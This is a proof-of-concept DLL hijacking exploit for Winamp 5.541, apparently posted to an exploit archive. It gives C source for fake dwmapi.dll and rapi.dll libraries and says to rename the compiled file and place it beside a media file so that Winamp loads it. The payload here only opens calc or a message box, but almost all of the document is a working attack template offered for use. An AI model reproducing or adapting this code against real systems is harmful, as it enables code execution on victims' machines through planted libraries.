/* #Winamp v5.541 DLL Hijacking Exploit (dwmapi.dll ¡ rapi.dll ) #Author : anT!-Tr0J4n #Greetz : Dev-PoinT.com ~ inj3ct0r.com ~ All Dev-poinT members and my friends #Email : D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com #Tested on: Windows XP sp3 # " .aiff ¡ .amf ¡ .au ¡ .avr ¡ .far ¡ .flac ¡ .htk ¡ .iff ¡.it ¡ .m4a ¡.mat ¡ .mdz ¡ .midi .miz ¡ .mod ¡ .mp1 ¡ .mp3 ¡.mtm ¡ .nsa ¡ .ogg ¡.okt ¡.paf ¡.ptm ¡ .s3m ¡.sd2 " ##################### How TO use : Compile and rename to" dwmapi.dll ¡ rapi.dll ", create a file in the same dir with one of the following extensions. check the result > Hack3d ##################### #dwmapi.dll (code) */ #include #define DLLIMPORT __declspec (dllexport) DLLIMPORT void DwmDefWindowProc() { evil(); } DLLIMPORT void DwmEnableBlurBehindWindow() { evil(); } DLLIMPORT void DwmEnableComposition() { evil(); } DLLIMPORT void DwmEnableMMCSS() { evil(); } DLLIMPORT void DwmExtendFrameIntoClientArea() { evil(); } DLLIMPORT void DwmGetColorizationColor() { evil(); } DLLIMPORT void DwmGetCompositionTimingInfo() { evil(); } DLLIMPORT void DwmGetWindowAttribute() { evil(); } DLLIMPORT void DwmIsCompositionEnabled() { evil(); } DLLIMPORT void DwmModifyPreviousDxFrameDuration() { evil(); } DLLIMPORT void DwmQueryThumbnailSourceSize() { evil(); } DLLIMPORT void DwmRegisterThumbnail() { evil(); } DLLIMPORT void DwmSetDxFrameDuration() { evil(); } DLLIMPORT void DwmSetPresentParameters() { evil(); } DLLIMPORT void DwmSetWindowAttribute() { evil(); } DLLIMPORT void DwmUnregisterThumbnail() { evil(); } DLLIMPORT void DwmUpdateThumbnailProperties() { evil(); } int evil() { WinExec("calc", 0); exit(0); return 0; } ----------------- # rapi.dll (code) */ #include "stdafx.h" void init() { MessageBox(NULL,"anT!-Tr0J4n", "Hack3d",0x00000003); } BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: init();break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }